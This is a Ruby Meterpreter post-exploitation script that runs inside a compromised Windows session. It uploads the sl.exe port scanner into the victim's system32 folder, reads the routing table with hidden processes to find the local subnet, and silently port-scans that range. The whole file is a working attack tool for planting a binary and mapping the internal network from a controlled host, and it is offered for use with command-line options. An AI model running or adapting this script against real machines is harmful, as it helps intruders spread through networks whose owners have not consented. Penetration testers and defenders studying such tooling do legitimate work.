#!/usr/bin/env ruby
require 'ftools'
############################################################
#     This is an Meterpreter script to do a portscanning of# 
#the same network where the controled computer is          #
#using a portscanner called sl.exe                         #
#                                                          #
############################################################
#	If netmask isn't 255.255.255.0 it must work any way#
############################################################
#	Tested in Win2003 and WinXP 			   #
############################################################
#	Created by Augusto Pereyra aepereyra(at)gmail.com  # 
############################################################


################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-r"  => [ true,  "To set the range manualy"],
  "-a"  => [ false,  "For automatic lan detection and port scan"]
)


#####################################################################################
#Function for upload the port scanner################################################
#####################################################################################
def uploadtool ()
print_status("Uploading Portscanner")
#Here you can set the path where sl.exe is in owr system and Where will be wher run this tool
#sl.exe was created by foundstone
client.fs.file.upload_file("%windir%\\system32\\sl.exe", "/pentest/windows-binaries/scanners/sl.exe")
end


#####################################################################################
#Function for network autodetection##################################################
#####################################################################################
def auto ()
	session1 = client
	cuenta = 0
	l1 = Array.new
	rangoar = Array.new
	res = session1.sys.process.execute("route print", nil, {'Hidden' => true, 'Channelized' => true})
	while(d1 = res.channel.read)
                        d1.each do |line|

                                if line =~ /( 0.0.0.0)/
                                        l1= line.split
                                        res.channel.close
                                end
                        end
	xx= l1[3]
	sxx1 = xx.split(".")
	sxx2 = xx.split(".")
	sxx1[3]='1'
	sxx2[3]='254'
	rango1= sxx1.join(".")
	rango2= sxx2.join(".")
	rangoar[0]=rango1
	rangoar[1]=rango2
	rango= rangoar.join("-")
	return rango
	 end
end


############################################################################
#Function for Port Scanning#################################################
############################################################################

def portscan(iprange)
	print_status("Performing portscanning for IP range #{iprange}")

session = client
cuentah = 0
a1 = Array.new
session.response_timeout= 100
res = session.sys.process.execute("sl -q 1000 -s -c 3 #{iprange}", nil, {'Hidden' => true, 'Channelized' => true})
	while(d = res.channel.read)
                        d.each do |line|
                                if line =~ /(Yes)/
                                        a1.insert(cuentah, line)
                                        cuentah = cuentah + 1
                                        res.channel.close
                                 end
                        end
	end
a1.each { |v| puts v}

end
##############################################################################
#This is me###################################################################
##############################################################################
def mysign ()

print ("Created by Augusto Pereyra aepereyra at gmail.com")

end

###############################################################################
####################################  MAIN  ###################################
###############################################################################
# Parsing of Options

range = nil
porsc = nil
@@exec_opts.parse(args) { |opt, idx, val|
	case opt

  when "-a"
    porsc = 2
  when "-r"
    range = val
#  when "-h"
#    print(@@exec_opts.usage)
#    break

   end

}

if range != nil && porsc != 2
   	mysign()
	uploadtool()
	portscan(range)
elsif  porsc == 2
        mysign()
	uploadtool()
	range= auto()
	portscan(range)
else
	mysign()
	print( @@exec_opts.usage)
end
